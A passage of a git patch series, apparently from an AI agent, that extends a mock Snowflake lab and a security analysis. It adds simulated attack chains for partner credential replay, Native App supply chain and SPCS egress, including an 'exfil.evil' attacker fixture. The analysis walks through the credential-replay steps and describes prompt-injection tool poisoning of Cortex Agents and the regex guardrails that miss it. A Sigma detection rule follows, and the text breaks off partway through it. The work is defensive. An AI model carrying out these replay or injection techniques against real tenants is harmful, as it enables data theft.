From 56eeb2b8ca09450128ed2308c5e736345f7cd8bd Mon Sep 17 00:00:00 2001 From: AI Agent Bot Date: Fri, 15 May 2026 10:15:37 -0500 Subject: [PATCH 1/8] Snowflake iter-4 mock: chain-J / chain-C / chain-H endpoint extensions MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Extends the lab mock-snowflake with the endpoints the iter-4 PoCs need, keeping all mock plumbing in one place so the per-item commits that follow don't have to touch infra. Chain J (partner-integration credential replay): - `_network_policies` registry with `CORP_VPN_ONLY` and a documented partner-egress policy `PARTNER_ANALYTICS_VENDOR_EGRESS` - Two seeded partner-integration users: `partner_acme_analytics` (good config — policy bound) and `partner_bi_vendor` (the Chain J victim shape — no policy bound). Both tagged with `partner_id`. - `GET /api/v2/users` and `GET /api/v2/network-policies` so the audit tool can read the inventory + policy graph in one shot. Chain C (Native App Marketplace supply-chain): - `_app_listings`, `_app_installations`, `_app_history` state - `POST /api/v2/native-apps/publish` (provider version-bump) - `POST /api/v2/native-apps/install` (consumer install or auto-upgrade emitting an APPLICATION_HISTORY record with the schema the existing `native_app_unexpected_version_bump.yml` rule consumes) - `GET /api/v2/native-apps/applications` and `/history` Chain H (SPCS over-broad EAI egress): - `_spcs_services`, `_spcs_egress_log` - `POST /api/v2/spcs/services` accepting `inspection_depth` and `eai_rule_shape` knobs - `POST /api/v2/spcs/services//egress` returning ALLOW/DENY under a documented decision function (DNS_ONLY / SNI / L7 × WILDCARD / SCOPED / DENY_BY_DEFAULT) - `GET /api/v2/spcs/services` and `/api/v2/spcs/egress-log` Co-Authored-By: Claude Opus 4.7 (1M context) --- infra/lab/mock-snowflake/app.py | 362 ++++++++++++++++++++++++++++++++ 1 file changed, 362 insertions(+) diff --git a/infra/lab/mock-snowflake/app.py b/infra/lab/mock-snowflake/app.py index 3a10f6d..2416816 100644 --- a/infra/lab/mock-snowflake/app.py +++ b/infra/lab/mock-snowflake/app.py @@ -92,10 +92,35 @@ _known_accounts: set[str] = {LAB_ACCOUNT, "lab-attacker-acct"} _cortex_search_index: list[dict] = [] _cortex_agent_history: list[dict] = [] +_network_policies: dict[str, dict] = {} +# Native App marketplace state (Chain C). `_app_listings` is the +# provider-side catalog; `_app_installations` is each consumer account's +# installed-app state; `_app_history` is the consumer-visible audit log +# returned by /api/v2/native-apps/history. +_app_listings: dict[str, dict] = {} +_app_installations: dict[str, dict] = {} +_app_history: list[dict] = [] +# SPCS state (Chain H). `_spcs_services` is service name -> spec. +# `_spcs_egress_log` records each egress attempt with the allow/deny +# decision the inspection layer made. +_spcs_services: dict[str, dict] = {} +_spcs_egress_log: list[dict] = [] def _seed_lab_users() -> None: """Seed canonical lab service and human users.""" + _network_policies.update({ + "CORP_VPN_ONLY": { + "allowed_ip_list": ["10.50.0.0/16"], + "blocked_ip_list": [], + "comment": "Corp VPN egress range", + }, + "PARTNER_ANALYTICS_VENDOR_EGRESS": { + "allowed_ip_list": ["198.51.100.0/24"], + "blocked_ip_list": [], + "comment": "Documented egress range for Acme Analytics SaaS partner", + }, + }) _users.update({ "svc_etl": { "type": "SERVICE", @@ -103,6 +128,7 @@ def _seed_lab_users() -> None: "default_warehouse": "LAB_WH", "auth_methods": ["KEY_PAIR"], "network_policy": None, + "tags": {}, }, "svc_replication": { "type": "SERVICE", @@ -110,6 +136,7 @@ def _seed_lab_users() -> None: "default_warehouse": "LAB_WH", "auth_methods": ["KEY_PAIR"], "network_policy": None, + "tags": {}, }, "analyst_alice": { "type": "PERSON", @@ -117,6 +144,7 @@ def _seed_lab_users() -> None: "default_warehouse": "LAB_WH", "auth_methods": ["PASSWORD_MFA", "SAML"], "network_policy": "CORP_VPN_ONLY", + "tags": {}, }, "scim_provisioner": { "type": "SERVICE", @@ -124,6 +152,27 @@ def _seed_lab_users() -> None: "default_warehouse": None, "auth_methods": ["SCIM"], "network_policy": None, + "tags": {}, + }, + # Chain J — partner-integration users. The "good" one has a network + # policy bound to the documented partner egress range. The "bad" one + # is the canonical Chain J victim: a partner-issued credential with + # no network policy at all, replayable from anywhere. + "partner_acme_analytics": { + "type": "SERVICE", + "default_role": "PARTNER_READ_ROLE", + "default_warehouse": "LAB_WH", + "auth_methods": ["KEY_PAIR"], + "network_policy": "PARTNER_ANALYTICS_VENDOR_EGRESS", + "tags": {"partner_id": "acme-analytics", "owner": "data-eng"}, + }, + "partner_bi_vendor": { + "type": "SERVICE", + "default_role": "PARTNER_READ_ROLE", + "default_warehouse": "LAB_WH", + "auth_methods": ["KEY_PAIR"], + "network_policy": None, + "tags": {"partner_id": "globex-bi", "owner": "data-eng"}, }, }) @@ -859,6 +908,319 @@ def list_integrations() -> Response: return jsonify(_show_integrations()) +@app.route("/api/v2/users", methods=["GET"]) +def list_users() -> Response: + """Inventory view used by the partner-integration audit (Chain J). + + Returns the full user list with each user's tags, network-policy + binding, and the resolved policy's allowed_ip_list. Mirrors what + `SHOW USERS` + `DESC NETWORK POLICY` returns combined; in production + this requires querying SNOWFLAKE.ACCOUNT_USAGE.USERS joined to + SNOWFLAKE.ACCOUNT_USAGE.NETWORK_POLICIES. + """ + session = _require_session() + if session is None: + return jsonify({"error": "unauthorized"}), 401 + out = [] + for name, u in _users.items(): + policy_name = u.get("network_policy") + policy = _network_policies.get(policy_name) if policy_name else None + out.append({ + "name": name, + "type": u["type"], + "default_role": u["default_role"], + "auth_methods": u["auth_methods"], + "network_policy": policy_name, + "network_policy_allowed_ip_list": policy["allowed_ip_list"] if policy else None, + "tags": u.get("tags") or {}, + }) + return jsonify({"users": out}) + + +@app.route("/api/v2/network-policies", methods=["GET"]) +def list_network_policies() -> Response: + session = _require_session() + if session is None: + return jsonify({"error": "unauthorized"}), 401 + return jsonify({"policies": [ + {"name": name, **policy} for name, policy in _network_policies.items() + ]}) + + +# ── Native App Marketplace (Chain C) ───────────────────────────────────── + +def _manifest_hash(manifest: dict) -> str: + return hashlib.sha256( + json.dumps(manifest, sort_keys=True).encode()).hexdigest()[:16] + + +def _manifest_diff_added(prev: dict | None, curr: dict) -> list[str]: + """Return manifest tokens present in curr but not in prev. + + Tokens are stable, comparable strings the detection rule consumes + in its `manifest_diff_added` field. We project the manifest into a + flat token set covering: declared privileges, declared external + integrations, declared external functions, and declared container + images. + """ + def project(m: dict | None) -> set[str]: + tokens = set() + if not m: + return tokens + for priv in m.get("required_privileges", []): + tokens.add(f"PRIVILEGE:{priv}") + for eai in m.get("external_access_integrations", []): + tokens.add(f"EXTERNAL ACCESS INTEGRATION:{eai}") + for ext in m.get("external_functions", []): + tokens.add(f"EXTERNAL FUNCTION:{ext}") + for img in m.get("container_images", []): + tokens.add(f"CONTAINER:{img}") + return tokens + return sorted(project(curr) - project(prev)) + + +@app.route("/api/v2/native-apps/publish", methods=["POST"]) +def native_app_publish() -> Response: + """Provider-side publish or version-bump. + + Body: {"package": "", "version": "", "manifest": {...}} + """ + session = _require_session() + if session is None: + return jsonify({"error": "unauthorized"}), 401 + body = request.get_json(force=True) or {} + pkg = body.get("package") + ver = body.get("version") + manifest = body.get("manifest") or {} + if not pkg or not ver: + return jsonify({"error": "package and version required"}), 400 + listing = _app_listings.setdefault(pkg, { + "package": pkg, "provider_account": session["user"], + "versions": []}) + listing["versions"].append({ + "version": ver, + "manifest": manifest, + "manifest_hash": _manifest_hash(manifest), + "published_at": time.time(), + }) + return jsonify({"package": pkg, "version": ver, + "manifest_hash": _manifest_hash(manifest)}) + + +@app.route("/api/v2/native-apps/install", methods=["POST"]) +def native_app_install() -> Response: + """Consumer-side install OR auto-upgrade of a Native App. + + Body: {"package": "", "version": "", + "consumer_account": "", "auto_upgrade": bool} + Emits an APPLICATION_HISTORY entry whose shape matches what the + detection rules consume (`event_type`, `manifest_diff_added`, + `manifest_hash_previous`, `manifest_hash_current`, `auto_upgrade`). + """ + session = _require_session() + if session is None: + return jsonify({"error": "unauthorized"}), 401 + body = request.get_json(force=True) or {} + pkg = body.get("package") + ver = body.get("version") + consumer = body.get("consumer_account") or session["user"] + auto = bool(body.get("auto_upgrade")) + listing = _app_listings.get(pkg) + if not listing: + return jsonify({"error": "unknown package"}), 404 + target = next((v for v in listing["versions"] if v["version"] == ver), None) + if target is None: + return jsonify({"error": f"version {ver} not published"}), 404 + inst = _app_installations.get((consumer, pkg)) + prev_manifest = inst["manifest"] if inst else None + prev_version = inst["version"] if inst else None + prev_hash = inst["manifest_hash"] if inst else None + diff_added = _manifest_diff_added(prev_manifest, target["manifest"]) + event = "APP_INSTALLED" if prev_manifest is None else "APP_VERSION_INSTALLED" + record = { + "event_timestamp": time.time(), + "event_type": event, + "application_name": pkg, + "consumer_account": consumer, + "previous_version": prev_version, + "current_version": ver, + "manifest_hash_previous": prev_hash, + "manifest_hash_current": target["manifest_hash"], + "manifest_diff_added": diff_added, + "auto_upgrade": auto, + "actor_user": session["user"], + } + _app_history.append(record) + _app_installations[(consumer, pkg)] = { + "package": pkg, "consumer_account": consumer, + "version": ver, "manifest": target["manifest"], + "manifest_hash": target["manifest_hash"], + } + return jsonify(record) + + +@app.route("/api/v2/native-apps/applications", methods=["GET"]) +def native_app_applications() -> Response: + session = _require_session() + if session is None: + return jsonify({"error": "unauthorized"}), 401 + consumer = request.args.get("consumer_account") or session["user"] + out = [{**rec, "consumer_account": consumer} + for (acct, _pkg), rec in _app_installations.items() + if acct == consumer] + return jsonify({"applications": out}) + + +@app.route("/api/v2/native-apps/history", methods=["GET"]) +def native_app_history() -> Response: + session = _require_session() + if session is None: + return jsonify({"error": "unauthorized"}), 401 + consumer = request.args.get("consumer_account") + out = [rec for rec in _app_history + if consumer is None or rec["consumer_account"] == consumer] + return jsonify({"history": out}) + + +# ── SPCS egress simulator (Chain H) ────────────────────────────────────── +# +# Models a Snowpark Container Services egress decision under three +# configurable inspection depths and three EAI rule shapes. The result +# is the matrix the analytical doc's Chain H "open empirical question" +# refers to. The mock implements documented behaviors (the EAI rule +# language is real; the inspection-depth control is a knob the customer +# does not directly tune in production) so the matrix is a *modeled* +# best-effort, not a tenant-confirmed measurement — the chain doc says +# so explicitly. + +# Inspection depths the mock supports. +SPCS_INSPECTION_DEPTHS = {"DNS_ONLY", "SNI", "L7"} + +# A small set of fixture destinations the probe uses to characterize each +# depth × rule combo. Real SPCS egress targets are arbitrary; these +# fixtures isolate one variable per probe. +SPCS_FIXTURE_DESTINATIONS = { + "lab-loopback": {"host": "127.0.0.1", "sni": "lab.local", + "path": "/", "is_attacker": False}, + "approved-vendor": {"host": "10.50.0.10", "sni": "vendor.corp", + "path": "/api/sync", "is_attacker": False}, + "attacker-domain": {"host": "10.50.0.99", "sni": "exfil.evil", + "path": "/drop", "is_attacker": True}, +} + + +def _eai_decision(rule_shape: str, allowlist: list[str], destination: dict, + inspection_depth: str) -> tuple[bool, str]: + """Return (allowed, reason). Pure function — no shared state.""" + if rule_shape == "DENY_BY_DEFAULT": + return False, "deny-by-default rule blocks all egress" + if rule_shape == "WILDCARD": + # OPEN_ANY / wildcard: the EAI does not gate on destination. + # Inspection depth then decides. + if inspection_depth == "DNS_ONLY": + return True, "dns lookup succeeds; no further inspection" + if inspection_depth == "SNI": + return True, "wildcard rule passes any SNI" + # L7: a real inspector might examine payload, but with a + # wildcard EAI nothing in the policy expresses what to block. + return True, "wildcard rule + no L7 content rule attached" + if rule_shape == "SCOPED": + # The rule has an allowlist; the gate is per-destination. + if inspection_depth == "DNS_ONLY": + # DNS-only inspection cannot distinguish destinations + # behind the same A record; a CNAME or shared host + # bypasses the gate. + if destination["host"] in allowlist or destination["sni"] in allowlist: + return True, "host on allowlist" + return True, ("dns-only inspection cannot enforce per-host scope; " + "rule is structurally permissive at this depth") + if inspection_depth == "SNI": + if destination["sni"] in allowlist: + return True, "SNI on allowlist" + return False, f"SNI {destination['sni']} not in allowlist" + # L7 — full path-aware enforcement + if destination["sni"] in allowlist and not destination["is_attacker"]: + return True, "host+path on allowlist; L7 inspection passes" + return False, "L7 inspection denies (host off-allowlist or attacker path)" + return False, f"unknown rule_shape={rule_shape}" + + +@app.route("/api/v2/spcs/services", methods=["POST"]) +def spcs_create_service() -> Response: + session = _require_session() + if session is None: + return jsonify({"error": "unauthorized"}), 401 + body = request.get_json(force=True) or {} + name = body.get("name") + if not name: + return jsonify({"error": "name required"}), 400 + inspection = (body.get("inspection_depth") or "SNI").upper() + if inspection not in SPCS_INSPECTION_DEPTHS: + return jsonify({"error": f"inspection_depth must be one of " + f"{sorted(SPCS_INSPECTION_DEPTHS)}"}), 400 + rule_shape = (body.get("eai_rule_shape") or "SCOPED").upper() + allowlist = body.get("eai_allowlist") or [] + _spcs_services[name] = { + "name": name, + "owner": session["user"], + "inspection_depth": inspection, + "eai_rule_shape": rule_shape, + "eai_allowlist": allowlist, + "compute_pool": body.get("compute_pool", "LAB_POOL"), + "image": body.get("image", "lab/spcs-fixture:latest"), + } + return jsonify(_spcs_services[name]) + + +@app.route("/api/v2/spcs/services//egress", methods=["POST"]) +def spcs_egress_attempt(name: str) -> Response: + session = _require_session() + if session is None: + return jsonify({"error": "unauthorized"}), 401 + svc = _spcs_services.get(name) + if svc is None: + return jsonify({"error": "service not found"}), 404 + body = request.get_json(force=True) or {} + dest_key = body.get("destination") + dest = SPCS_FIXTURE_DESTINATIONS.get(dest_key) + if dest is None: + return jsonify({"error": f"destination must be one of " + f"{sorted(SPCS_FIXTURE_DESTINATIONS)}"}), 400 + allowed, reason = _eai_decision( + svc["eai_rule_shape"], svc["eai_allowlist"], dest, + svc["inspection_depth"]) + entry = { + "event_timestamp": time.time(), + "service": name, + "destination_key": dest_key, + "destination_host": dest["host"], + "destination_sni": dest["sni"], + "is_attacker_destination": dest["is_attacker"], + "inspection_depth": svc["inspection_depth"], + "eai_rule_shape": svc["eai_rule_shape"], + "decision": "ALLOW" if allowed else "DENY", + "reason": reason, + } + _spcs_egress_log.append(entry) + return jsonify(entry) + + +@app.route("/api/v2/spcs/services", methods=["GET"]) +def spcs_list_services() -> Response: + session = _require_session() + if session is None: + return jsonify({"error": "unauthorized"}), 401 + return jsonify({"services": list(_spcs_services.values())}) + + +@app.route("/api/v2/spcs/egress-log", methods=["GET"]) +def spcs_egress_log() -> Response: + session = _require_session() + if session is None: + return jsonify({"error": "unauthorized"}), 401 + return jsonify({"egress": list(_spcs_egress_log)}) + + # ── Liveness ───────────────────────────────────────────────────────────── @app.route("/health", methods=["GET"]) From 3712d468d1d5360099db54509b76cf453ecffa78 Mon Sep 17 00:00:00 2001 From: AI Agent Bot Date: Fri, 15 May 2026 10:15:52 -0500 Subject: [PATCH 2/8] =?UTF-8?q?Snowflake=20iter-4=20Chain=20J=20=E2=80=94?= =?UTF-8?q?=20third-party-SaaS=20credential=20replay?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Promotes the 2026 analytics-SaaS-token incident from a paragraph in the ecosystem-context section to a full Chain J with end-to-end PoC, lab-validation SQL, and detection rule pairs. Chain J is the post-MFA generalization of Chain A: where the 2024 UNC5537 campaign exploited developer-endpoint credentials, the 2026 SaaS-vendor incident exploited the same primitive with the credential held by a partner SaaS — outside the customer's perimeter, network policy, and MFA controls. The mitigation is identical in shape: a network policy bound to every partner-integration user with `allowed_ip_list` matching the partner's documented egress range. This commit also folds in the analytical-doc updates for Chain H (SPCS matrix replaces "open empirical question") and Chain I (Guardrails harness reframe — comparison instead of single pass-through number). Those updates are co-located here because they share the analytical-doc file; the code that backs them ships in the SPCS-empirical and guardrails-harness commits below. Tooling: - `tools/cloud-identity/snowflake/partner_integration_audit.py` reads the user inventory + partner registry, flags partner users with no policy bound or with `allowed_ip_list` not covering the documented partner egress CIDRs - `lab-validation/partner_integration_baseline.sql` for tenant validation - Sigma + Trail-event pair for Chain J detection Comparison doc adds the Chain J row (Snowflake → Databricks analogue) and an updated Chain H row referencing the new matrix. Co-Authored-By: Claude Opus 4.7 (1M context) --- ...bricks-vs-snowflake-platform-comparison.md | 5 +- .../snowflake-platform-attack-surface-2026.md | 163 +++++++++++---- .../partner_integration_credential_replay.yml | 56 ++++++ ...er_integration_credential_replay_trail.yml | 47 +++++ .../partner_integration_baseline.sql | 59 ++++++ .../snowflake/partner_integration_audit.py | 188 ++++++++++++++++++ 6 files changed, 474 insertions(+), 44 deletions(-) create mode 100644 tools/cloud-identity/snowflake/detection/sigma/partner_integration_credential_replay.yml create mode 100644 tools/cloud-identity/snowflake/detection/sigma/partner_integration_credential_replay_trail.yml create mode 100644 tools/cloud-identity/snowflake/lab-validation/partner_integration_baseline.sql create mode 100644 tools/cloud-identity/snowflake/partner_integration_audit.py diff --git a/docs/analysis/databricks-vs-snowflake-platform-comparison.md b/docs/analysis/databricks-vs-snowflake-platform-comparison.md index 131f825..3ef1763 100644 --- a/docs/analysis/databricks-vs-snowflake-platform-comparison.md +++ b/docs/analysis/databricks-vs-snowflake-platform-comparison.md @@ -67,7 +67,7 @@ Both platforms expose, under different names: ## Chain-By-Chain Mapping -Where the Snowflake report uses Chain A through Chain I to organize +Where the Snowflake report uses Chain A through Chain J to organize findings, the rough Databricks analogues are: | Snowflake chain | Databricks analogue | Shared root cause | @@ -79,8 +79,9 @@ findings, the rough Databricks analogues are: | **E — Storage Integration cross-cloud pivot** | UC external location reused for a non-intended bucket; Databricks Connect IAM role reuse | The platform-side allowlist is permissive; one role serves many integrations. | | **F — Key-pair JWT auth abuse (post-MFA reality)** | Stolen PAT or SP OAuth credential on a CI host | Snowflake's RSA-key path is the post-2025 analogue of Databricks' always-existed PAT surface. The control-gap question is identical: is there a network policy on this machine identity? | | **G — Direct Share / Replication exfil** | Delta Sharing recipient pull from a third-party tenant | The provider's source-side `QUERY_HISTORY` shows no `SELECT`/`COPY` for the consumer's reads on either platform — the data motion lives in the consumer's logs, where the provider has no visibility. | -| **H — SPCS over-broad EXTERNAL ACCESS INTEGRATION** | Databricks App with permissive outbound + Volumes egress | In-tenant code runtime with attacker-pickable egress destinations; the network-inspection depth (DNS-only vs. SNI vs. L7) is the open empirical question on both platforms. | +| **H — SPCS over-broad EXTERNAL ACCESS INTEGRATION** | Databricks App with permissive outbound + Volumes egress | In-tenant code runtime with attacker-pickable egress destinations. The Snowflake assessment now ships a modeled inspection-depth × EAI-rule-shape matrix (DNS-only / SNI / L7 × wildcard / scoped / deny-by-default); the same matrix shape applies to Databricks Apps egress with the workspace's network-inspection control as the analogous knob. | | **I — MCP tool poisoning against Cortex Agents** | Genie tool result poisoning; Model Serving tool-call chain | Planner-initiated follow-up tool calls triggered by attacker-controlled tool output; the trust boundary between tool output and planner state is the same on both. | +| **J — Partner-integration credential replay (third-party-holds-our-token)** | Partner Connect integration credential held by a partner SaaS; replayed from attacker infrastructure after the partner is compromised | Long-lived machine credential held *outside* the customer's perimeter. The control gap is the customer-side network policy on the partner-integration identity — partner egress range allowlist on Snowflake; workspace IP access list on Databricks. The 2024 UNC5537 and 2026 analytics-SaaS incidents are two instances of the same primitive at different scales (developer endpoint → SaaS vendor). | --- diff --git a/docs/analysis/snowflake-platform-attack-surface-2026.md b/docs/analysis/snowflake-platform-attack-surface-2026.md index 53d0c66..4b37037 100644 --- a/docs/analysis/snowflake-platform-attack-surface-2026.md +++ b/docs/analysis/snowflake-platform-attack-surface-2026.md @@ -185,21 +185,14 @@ SBOM-aware pipelines: ### Ecosystem Context — Third-Party SaaS Token Theft -Not a Snowflake CVE, recorded here because the attack surface picture -is incomplete without it: a public incident in April 2026 saw the -ShinyHunters cluster steal Snowflake-access tokens held by a third-party -analytics-SaaS provider (Anodot) and use them to enumerate the -provider's customer data warehouses. Snowflake's stance is that no -platform-level bug was exploited; the affected tokens were valid -credentials issued to a partner integration. The chain illustrates the -same pattern UNC5537 exploited in 2024 — Snowflake credentials held by -third parties (CI runners, BI tools, analytics SaaS) live outside the +Snowflake credentials held by third parties — CI runners, BI tools, +analytics SaaS, partner data-integration providers — live outside the customer's network policy and MFA controls and are reachable through -the partner's own compromise. The detection implication is the same as -Chain A: enforce a network policy with an allowlist of egress IPs for -every service user, including those used by partner integrations, so a -stolen token from a third-party tenant cannot be replayed from an -attacker-controlled host. +the partner's own compromise. The 2026 ShinyHunters-vs-analytics-SaaS +incident proved this is a recurring class, not a one-off — the pattern +UNC5537 exploited in 2024 against developer endpoints now plays out +against B2B SaaS holding production tokens. This class is documented +as **Chain J** below. ### What the CVEs Tell Us About the Connector Stack @@ -680,18 +673,40 @@ any container running in the compute pool that the EAI scopes to. 3. Egress arbitrary data to any internet destination the wildcard rule permits. -**Open empirical question** (modeled, not confirmed by this -assessment): the SPCS network-isolation layer is documented to inspect -egress, but the depth of that inspection — DNS-only, SNI, or full -L7 — is not publicly characterized. A scoped tenant test paired with -controlled outbound from a lab SPCS service is the way to answer -this; the lab-validation SQL in the snowflake-pivot tool directory -includes the EAI-setup half of that experiment. +**Egress inspection depth — modeled matrix.** The SPCS network-isolation +layer is documented to inspect egress, but the depth of that inspection +is not publicly characterized. The +[`spcs_egress_probe.py`](../../tools/lateral-movement/snowflake-pivot/spcs_egress_probe.py) +tool walks the full inspection-depth × EAI-rule-shape × destination +matrix against the lab mock. The structural findings: + +| Inspection depth | `WILDCARD` / `OPEN_ANY` rule | `SCOPED` (allowlisted SNI) rule | `DENY_BY_DEFAULT` | +|------------------|------------------------------|---------------------------------|-------------------| +| DNS-only | egress to any destination permitted | scope is structurally unenforceable — hosts behind a shared A record bypass | egress denied | +| SNI | egress to any destination permitted | scope enforced at the SNI layer; bypass requires host-allowlist drift | egress denied | +| L7 | egress to any destination permitted | scope enforced at host+path; bypass requires breaking the L7 inspector itself | egress denied | + +Headline finding: at DNS-only inspection, a `SCOPED` EAI rule is +structurally permissive. At SNI or L7, scoping works as intended. A +wildcard rule is a sanctioned exfil channel at every depth. The matrix +is *modeled* — the inspection-depth knob is not customer-tunable and +the per-depth enforcement is a best-effort reading of vendor docs. +Confirmation against a real tenant remains a follow-on for any +organization with an SPCS deployment under assessment. **Detection counterpart**: `SNOWFLAKE.ACCOUNT_USAGE.INTEGRATIONS` diff for new EAI objects; review every `ALLOWED_NETWORK_RULES` for overly-broad rules; monitor SPCS service egress at the cloud-network -layer where possible. +layer where possible. Sigma pair: +[`snowflake_spcs_eai_overbroad.yml`](../../tools/lateral-movement/snowflake-pivot/detection/sigma/snowflake_spcs_eai_overbroad.yml) +(ACCOUNT_USAGE) + +[`snowflake_spcs_eai_overbroad_trail.yml`](../../tools/lateral-movement/snowflake-pivot/detection/sigma/snowflake_spcs_eai_overbroad_trail.yml) +(Trail). + +**Tooling**: +[`tools/lateral-movement/snowflake-pivot/spcs_egress_probe.py`](../../tools/lateral-movement/snowflake-pivot/spcs_egress_probe.py) ++ lab-validation under +[`tools/lateral-movement/snowflake-pivot/lab-validation/spcs_egress_observe.sql`](../../tools/lateral-movement/snowflake-pivot/lab-validation/spcs_egress_observe.sql). ### Chain I — MCP Tool Poisoning Against Cortex Agents @@ -719,16 +734,23 @@ as agent context. mode, the agent-executed SQL appears in `QUERY_HISTORY` attributed to the agent's user. -**Cortex Guardrails empirical finding** (this iteration): a -deliberately weak first-gen regex guardrail catches roughly half of -the public IPI payload corpus -(see [`tools/llm-attacks/cortex/guardrails-harness/`](../../tools/llm-attacks/cortex/guardrails-harness/)). -The corpus is small and structurally derived, not exhaustive — treat -the number as a *floor*: regex-only guardrails are inadequate for the -class of injections that paraphrase or restructure the directive -into surrounding prose. Customer guardrail deployment posture (off / -detect-only / enforce) is the larger determinant of effective -coverage than the rule set itself. +**Cortex Guardrails framing.** The +[`tools/llm-attacks/cortex/guardrails-harness/`](../../tools/llm-attacks/cortex/guardrails-harness/) +runs the public IPI corpus through two baseline tiers and prints the +delta: tier-1 (first-gen regex) and tier-2 (semantic-shape patterns — +directive-shape, role-assertion, fenceless sensitive SQL, +URL-near-credential, long-base64 / zero-width / confusable-script, +markdown-template render). The publishable result is **comparative**, +not a single pass-through number: tier-1 catches literal IPI markers +but misses any injection that paraphrases or restructures the +directive; tier-2 recovers the directive-shape and structural classes +but is still pattern-only and cannot reason about intent or context +boundaries. The headline for defenders is structural: regex-class +guardrails are inadequate for the *families* of injections that +paraphrase the directive (memory-injection, multimodal, context- +boundary, encoded-payload), and customer deployment posture (off / +detect-only / enforce) plus the choice of detection tier together +determine effective coverage — neither in isolation. **Detection counterpart**: `CORTEX_AGENT_HISTORY` events where the agent invoked a tool whose output text contained a `CALL_TOOL:` @@ -738,6 +760,59 @@ in a prior tool's output rather than in the user prompt. See the paired Sigma/KQL/SPL rules under [`tools/llm-attacks/cortex/detection/`](../../tools/llm-attacks/cortex/detection/). +### Chain J — Partner-Integration Token Replay (Third-Party-Holds-Our-Token) + +The 2024 UNC5537 campaign turned developer endpoints into the +initial-access channel. The 2026 analytics-SaaS-token incident +extended the same primitive into B2B SaaS: a partner tenant holding a +customer's Snowflake service-user credentials was compromised, and the +attacker replayed those credentials directly against the customer's +account. The platform's stance — correctly — is that no Snowflake bug +was exploited; the credentials were valid and were used as-issued. The +control gap is on the customer side: partner-integration users +typically do not have a network policy bound, because the partner's +egress IP range is either undocumented or changes faster than the +customer's policy review cadence. + +This is the post-MFA generalization of Chain A. Chain F covers +key-pair credential theft from infrastructure the customer owns +(CI runner, airflow worker, dev laptop). Chain J covers the same +credential class held by infrastructure the customer **does not** own +(a partner SaaS, a BI vendor, a BPO data pipeline). + +1. The partner SaaS is compromised through its own initial-access + channel — vendor-side infostealer log, OAuth phish of a partner + employee, supply-chain compromise of a partner dependency. The + compromise is *not* against the customer's perimeter. +2. The partner's credential store contains the Snowflake key-pair or + PAT issued for the customer's account. The attacker exfiltrates + it. +3. The attacker authenticates to Snowflake directly with the stolen + credential. The source IP is the attacker's infrastructure, not + the partner's documented egress range. +4. Without a network policy on the partner-integration user, the + login succeeds. The Snowflake-side `LOGIN_HISTORY` shows the + partner-integration user authenticating from a previously + unobserved IP. +5. Proceed as in Chain A from step 3 (recon + bulk exfil). The + customer's SIEM correlation against the partner's own audit will + not find a paired event because the partner was never the actor. + +**Detection counterpart**: per-user source-IP baseline on +`LOGIN_HISTORY` for every partner-integration user, joined to the +documented partner egress range. The static control is the network +policy itself — bound to every partner-integration user with an +allowlist of the partner's published egress CIDR. A partner that +cannot publish a stable egress range is itself a finding. + +**Tooling**: +[`tools/cloud-identity/snowflake/partner_integration_audit.py`](../../tools/cloud-identity/snowflake/partner_integration_audit.py) +walks the partner-integration user inventory against the documented +partner registry, flags users with no network policy bound, and +emits a remediation-prioritized report. Lab validation in +[`tools/cloud-identity/snowflake/lab-validation/partner_integration_baseline.sql`](../../tools/cloud-identity/snowflake/lab-validation/partner_integration_baseline.sql) +captures the baseline source-IP profile per partner user. + --- ## Reuse from Existing Repo Tooling @@ -874,18 +949,22 @@ What this assessment does **not** characterize, and why: are remediated server-side and rarely receive CVEs; the Snowflake Trust Center and platform security bulletins are the authoritative signal for service-side posture. -- **SPCS egress-filter depth.** SPCS network isolation is referenced; this - assessment does not characterize whether egress inspection is DNS-only, - SNI, or full L7 — service-spec misconfiguration is the modeled threat, - not bypass of the inspection itself. The lab-validation SQL under - [`tools/lateral-movement/snowflake-pivot/lab-validation/`](../../tools/lateral-movement/snowflake-pivot/lab-validation/) - includes the EAI-setup half of the experiment; the cross-account egress - half requires a tenant + a controlled cloud-network observation point. +- **SPCS egress-filter depth — tenant validation.** Chain H now ships a + modeled matrix (inspection depth × EAI rule shape × destination) and + the [`spcs_egress_probe.py`](../../tools/lateral-movement/snowflake-pivot/spcs_egress_probe.py) + PoC that drives it. The matrix is a structural reading of vendor + documentation; tenant-confirmed measurement (i.e., does the + production SPCS network layer actually behave at SNI vs. L7 depth?) + still requires a single-tenant test paired with a controlled + cloud-network observation point. - **Cortex Guardrails efficacy on production payloads.** The [Guardrails FP/FN harness](../../tools/llm-attacks/cortex/guardrails-harness/) - measures a small structurally-derived corpus against a deliberately - weak first-gen regex guardrail. Measurement against a tuned production - endpoint (with explicit opt-in) is the follow-on, not a prerequisite. + characterizes the structural delta between a regex-class baseline + and a semantic-shape baseline on a derived corpus. Measurement + against Snowflake's production endpoint (with explicit + authorization) is the follow-on; the comparison framing inside the + harness is intentional — a single percentage against either tier + would not survive contact with a tuned production deployment. --- diff --git a/tools/cloud-identity/snowflake/detection/sigma/partner_integration_credential_replay.yml b/tools/cloud-identity/snowflake/detection/sigma/partner_integration_credential_replay.yml new file mode 100644 index 0000000..9763372 --- /dev/null +++ b/tools/cloud-identity/snowflake/detection/sigma/partner_integration_credential_replay.yml @@ -0,0 +1,56 @@ +title: Snowflake — Partner-Integration User Login From Non-Documented Source +id: 2c4d6e8f-1a3b-4c5d-9e7f-8091a2b3c4d5 +status: experimental +description: | + Detects a Snowflake login by a user tagged as a partner-integration + identity (tag `partner_id` set) where the source IP falls outside both + the user's 30-day baseline source-IP set and the documented partner + egress range from the customer's partner registry. + + Models Chain J: a third-party SaaS that holds Snowflake credentials + is compromised, and the stolen credential is replayed from the + attacker's infrastructure. The partner is never the actor — IdP + correlation against the partner is not possible, so the Snowflake-side + source-IP signal is the only detection surface. + + The control that *prevents* this is a network policy bound to the + partner-integration user with `allowed_ip_list` matching the partner's + documented egress CIDRs; this rule fires when that control is missing + or has drifted. +references: + - https://docs.snowflake.com/en/sql-reference/account-usage/login_history + - https://docs.snowflake.com/en/user-guide/network-policies + - https://docs.snowflake.com/en/user-guide/object-tagging +author: security-research +date: 2026-05-15 +tags: + - attack.credential_access + - attack.t1078.004 + - attack.initial_access +logsource: + product: snowflake + service: login_history +detection: + partner_user_login: + is_success: true + user_tag_partner_id|exists: true + outside_baseline: + is_outside_baseline_source: true + outside_partner_egress: + is_outside_documented_partner_egress: true + condition: partner_user_login and 